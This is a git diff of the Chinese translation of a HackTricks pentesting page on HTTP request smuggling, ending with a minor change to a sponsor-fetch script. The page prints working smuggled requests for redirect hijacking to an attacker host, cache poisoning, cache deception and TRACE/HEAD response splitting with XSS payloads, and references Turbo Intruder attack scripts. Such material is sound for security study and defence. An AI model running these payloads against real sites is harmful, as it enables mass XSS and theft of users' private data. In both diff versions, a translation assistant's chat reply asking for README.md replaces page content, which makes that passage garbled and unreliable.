In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint 会将用户输入作为响应返回** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.
|
||||
在 [**this writeup**](https://mizu.re/post/twisty-python) 中,这一点被用于配合 request smuggling 和一个会将用户输入原样返回的 **vulnerable endpoint** 来 smuggle 一个使用 HTTP/0.9 的请求。将被反射到响应中的参数包含了一个 **伪造的 HTTP/1.1 响应(带 headers 和 body)**,因此响应将包含带有 `Content-Type` 为 `text/html` 的可执行有效 JS 代码。
|
||||
|
||||
### 利用站内重定向进行 HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
|
||||
应用程序通常通过在重定向 URL 中使用 `Host` 头的主机名,将一个 URL 重定向到另一个 URL。这在 Apache 和 IIS 等 web servers 中很常见。例如,请求一个没有尾随斜杠的文件夹会导致重定向以包含该斜杠:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -546,7 +594,7 @@ Host: normal-website.com
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
看似无害,但这种行为可以通过 HTTP request smuggling 被操纵,从而将用户重定向到外部站点。例如:
|
||||
尽管看似无害,该行为可以被利用 HTTP request smuggling 操作,将用户重定向到外部站点。例如:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -560,29 +608,31 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
该被走私的请求可能导致下一个被处理的用户请求重定向到攻击者控制的网站:
|
||||
这个 smuggled request 可能会导致下一个被处理的用户请求被重定向到攻击者控制的网站:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
导致:
|
||||
结果为:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
在此场景中,用户对 JavaScript 文件的请求被劫持。攻击者可能通过返回恶意 JavaScript 来危害用户。
|
||||
在此场景中,用户对 JavaScript 文件的请求被劫持。攻击者可以通过返回恶意的 JavaScript 来危及用户。
|
||||
|
||||
### 通过 HTTP Request Smuggling 利用 Web Cache Poisoning <a href="#exploiting-web-cache-poisoning-via-http-request-smearing" id="exploiting-web-cache-poisoning-via-http-request-smearing"></a>
|
||||
### 利用 Web Cache Poisoning 通过 HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web cache poisoning 可以在任何组件的 **前端基础设施缓存内容**(通常为提高性能)时被执行。通过操纵服务器的响应,有可能 **poison the cache**。
|
||||
如果任何前端基础设施组件对内容进行缓存(通常为了提高性能),就可能实施 Web Cache Poisoning。通过操纵服务器响应,可以使缓存被污染。
|
||||
|
||||
之前我们演示了如何修改服务器响应以返回 404 错误(参见 [Basic Examples](#basic-examples))。类似地,可以欺骗服务器在请求 `/static/include.js` 时返回 `/index.html` 的内容。因此,缓存中 `/static/include.js` 的内容会被 `/index.html` 的内容替换,导致用户无法访问 `/static/include.js`,并可能引发 Denial of Service (DoS)。
|
||||
如前所述,我们演示了如何修改服务器响应以返回 404 错误(参见 [Basic Examples](#basic-examples))。同样,也可以诱导服务器在请求 `/static/include.js` 时返回 `/index.html` 的内容。
|
||||
|
||||
如果发现 **Open Redirect vulnerability**,或存在指向 open redirect 的站内重定向,该技术会变得尤为强大。此类漏洞可被利用将缓存中的 `/static/include.js` 内容替换为攻击者控制的脚本,从而对所有请求已更新 `/static/include.js` 的客户端发起大规模的 Cross-Site Scripting (XSS) 攻击。
|
||||
因此,缓存中的 `/static/include.js` 内容会被 `/index.html` 的内容替换,导致用户无法访问 `/static/include.js`,可能引发 Denial of Service (DoS)。
|
||||
|
||||
下面示例展示了如何利用 **cache poisoning combined with an on-site redirect to open redirect**。目标是将 `/static/include.js` 的缓存内容更改为由攻击者控制的 JavaScript 代码:
|
||||
如果发现 Open Redirect vulnerability 或者存在站内重定向到 open redirect 的情况,该技术会变得特别强大。攻击者可以利用这些漏洞将缓存的 `/static/include.js` 内容替换为其控制的脚本,实质上对所有请求已更新 `/static/include.js` 的客户端发动大规模 Cross-Site Scripting (XSS) 攻击。
|
||||
|
||||
下面示例展示了如何将 cache poisoning 与站内重定向到 open redirect 结合利用,目标是修改 `/static/include.js` 的缓存内容以提供由攻击者控制的 JavaScript 代码:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -600,18 +650,18 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
注意嵌入的请求,目标为 `/post/next?postId=3`。该请求将被重定向到 `/post?postId=4`,并利用 **Host header value** 来确定域名。通过修改 **Host header**,攻击者可以将请求重定向到他们的域名(**on-site redirect to open redirect**)。
|
||||
Note the embedded request targeting `/post/next?postId=3`。该请求将被重定向到 `/post?postId=4`,并利用 **Host header value** 来确定域名。通过修改 **Host header**,攻击者可以将请求重定向到他们的域(**on-site redirect to open redirect**)。
|
||||
|
||||
在成功进行 **socket poisoning** 后,应发起针对 `/static/include.js` 的 **GET request**。该请求将被之前的 **on-site redirect to open redirect** 请求污染,并获取由攻击者控制的脚本内容。
|
||||
在成功进行 **socket poisoning** 之后,应发起对 `/static/include.js` 的 **GET request**。该请求会被先前的 **on-site redirect to open redirect** 请求污染,从而获取攻击者控制的脚本内容。
|
||||
|
||||
随后,任何对 `/static/include.js` 的请求都将提供被缓存的攻击者脚本内容,从而有效地发动大范围的 XSS 攻击。
|
||||
随后,任何对 `/static/include.js` 的请求都会返回缓存的攻击者脚本内容,从而有效地发动大规模的 XSS 攻击。
|
||||
|
||||
### 使用 HTTP request smuggling 来执行 web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **web cache poisoning 和 web cache deception 之间有什么区别?**
|
||||
> **What is the difference between web cache poisoning and web cache deception?**
|
||||
>
|
||||
> - 在 **web cache poisoning** 中,攻击者使应用将一些恶意内容存入缓存,该内容随后从缓存中提供给其他应用用户。
|
||||
> - 在 **web cache deception** 中,攻击者使应用将属于其他用户的某些敏感内容存入缓存,然后攻击者从缓存中检索这些内容。
|
||||
> - 在 **web cache poisoning** 中,攻击者使应用将一些恶意内容存入缓存,并且该内容会从缓存中提供给其他应用用户。
|
||||
> - 在 **web cache deception** 中,攻击者使应用将属于另一用户的一些敏感内容存入缓存,然后攻击者再从缓存中检索这些内容。
|
||||
|
||||
攻击者构造一个 smuggled request 来获取敏感的用户特定内容。考虑以下示例:
|
||||
```markdown
|
||||
@ -624,17 +674,17 @@ x=1
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
如果这个被走私的请求污染了原本用于静态内容的缓存条目(例如 `/someimage.png`),受害者来自 `/private/messages` 的敏感数据可能会被缓存在该静态内容的缓存条目下。因此,攻击者可能能够检索到这些已缓存的敏感数据。
|
||||
如果该 smuggled request 污染了用于静态内容(例如 `/someimage.png`)的缓存条目,受害者来自 `/private/messages` 的敏感数据可能会被缓存到该静态内容的缓存条目中。因此,攻击者可能能够检索到这些被缓存的敏感数据。
|
||||
|
||||
### 通过 HTTP Request Smuggling 滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) 中建议,如果服务器启用了 TRACE 方法,可能可以通过 HTTP Request Smuggling 来滥用它。这是因为该方法会将发送到服务器的任何 header 反射到响应体中作为一部分。 例如:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) 中建议,如果服务器启用了 TRACE 方法,则有可能通过 HTTP Request Smuggling 滥用它。原因是该方法会将发送到服务器的任意 header 作为响应的 body 部分反射回去。例如:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
请把 src/pentesting-web/http-request-smuggling/README.md 的内容粘贴到这里,我会按你给的规则将英文译成中文并保持原有的 Markdown/HTML 语法、路径和标签不变。
|
||||
请把 README.md 的内容粘贴到这里。我会按你给的规则把相关英文文本翻译成中文,保留代码、标签、链接、路径和特殊标记不翻译。
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -645,17 +695,17 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
一个滥用该行为的示例是**先 smuggle 一个 HEAD 请求**。该请求将只以 GET 请求的**headers**来响应(其中包括 **`Content-Type`**)。并在 HEAD 之后**立即 smuggle 一个 TRACE 请求**,该请求会**反射所发送的数据**。
|
||||
由于 HEAD 响应会包含 `Content-Length` 头,**TRACE 请求的响应将被视为 HEAD 响应的主体,因此在响应中反映任意数据**。
|
||||
该响应将被发送给连接上的下一个请求,因此这可以**用于例如在缓存的 JS 文件中注入任意 JS 代码**。
|
||||
滥用此行为的一个例子是 **先 smuggle 一个 HEAD 请求**。该请求将只收到一个 GET 请求的 **headers**(其中包括 **`Content-Type`**)。然后在 HEAD 之后立即 **smuggle 一个 TRACE 请求**,该请求将 **反射发送的数据**。\
|
||||
由于 HEAD 响应中包含 `Content-Length` 头,**TRACE 请求的响应将被视为 HEAD 响应的 body,因此在响应中反射任意数据**。\
|
||||
该响应将被发送给连接上的下一个请求,因此这可以**用于例如在被缓存的 JS 文件中注入任意 JS 代码**。
|
||||
|
||||
### 滥用 TRACE 通过 HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
建议继续参考 [**this post**](https://portswigger.net/research/trace-desync-attack),其中提出了另一种滥用 TRACE 方法的方式。如文中所述,通过 smuggling 一个 HEAD 请求和一个 TRACE 请求,可在 HEAD 响应中**控制部分被反射的数据**。HEAD 请求主体的长度基本由 `Content-Length` 头指示,并且由 TRACE 请求的响应构成。
|
||||
继续参考 [**this post**](https://portswigger.net/research/trace-desync-attack),其中建议了另一种滥用 TRACE 方法的方式。如文中所述,通过 smuggle 一个 HEAD 请求和一个 TRACE 请求,可以在 HEAD 响应中 **控制某些被反射的数据**。HEAD 请求 body 的长度由 `Content-Length` 头指示,并且由 TRACE 请求的响应构成。
|
||||
|
||||
因此,新思路是:在已知该 `Content-Length` 和 TRACE 响应中包含的数据的情况下,可以使 TRACE 响应在 Content-Length 指定的最后一个字节之后包含一个有效的 HTTP 响应,从而允许攻击者完全控制发送给下一个响应的请求(这可以用于执行 cache poisoning)。
|
||||
因此,新思路是:在已知该 `Content-Length` 以及 TRACE 响应中包含的数据的情况下,可以使 TRACE 响应在 `Content-Length` 指定的最后一个字节之后包含一个有效的 HTTP 响应,从而允许攻击者完全控制发送给下一个请求的内容(这可以用于执行 cache poisoning)。
|
||||
|
||||
示例:
|
||||
示例:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -674,7 +724,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
将生成以下响应(注意 HEAD response 含有 Content-Length,使 TRACE response 成为 HEAD body 的一部分;一旦 HEAD 的 Content-Length 结束,一个有效的 HTTP response 就被 smuggled):
|
||||
将生成这些响应(注意 HEAD 响应具有 Content-Length,使 TRACE 响应成为 HEAD 主体的一部分,并且一旦 HEAD 的 Content-Length 结束,就会走私出一个有效的 HTTP 响应):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -695,9 +745,9 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### 用 HTTP Response Desynchronisation 将 HTTP Request Smuggling 武器化
|
||||
### 使用 HTTP Response Desynchronisation 将 HTTP Request Smuggling 武器化
|
||||
|
||||
如果你发现了某个 HTTP Request Smuggling 漏洞但不知道如何利用,试试下面这些其他利用方法:
|
||||
你发现了某个 HTTP Request Smuggling 漏洞,但不知道如何利用它。试试以下其他利用方法:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -765,7 +815,7 @@ table.add(req)
|
||||
```
|
||||
### TE.CL
|
||||
|
||||
来源: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
来自: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -809,14 +859,14 @@ table.add(req)
|
||||
```
|
||||
## 工具
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – 可视化 concatenation/framing 和 低级别 HTTP 行为
|
||||
- HTTP Hacker (Burp BApp Store) – 可视化串联/帧化以及低级 HTTP 行为
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是基于语法的 HTTP Fuzzer,可用于发现奇怪的 request smuggling 差异。
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是基于语法的 HTTP Fuzzer,用于发现异常的 request smuggling 差异。
|
||||
|
||||
## 参考资料
|
||||
|
||||
@ -829,10 +879,11 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- 注意 false false‑positive:如何区分 HTTP pipelining 与 request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- 警惕错误的 false‑positive:如何区分 HTTP pipelining 与 request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,8 @@
|
||||
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
||||
|
||||
async function getSponsor() {
|
||||
const url = "https://book.hacktricks.wiki/sponsor"
|
||||
const currentUrl = encodeURIComponent(window.location.href);
|
||||
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
|
||||
try {
|
||||
const response = await fetch(url, { method: "GET" })
|
||||
if (!response.ok) {
|
||||
|
Loading…
x
Reference in New Issue
Block a user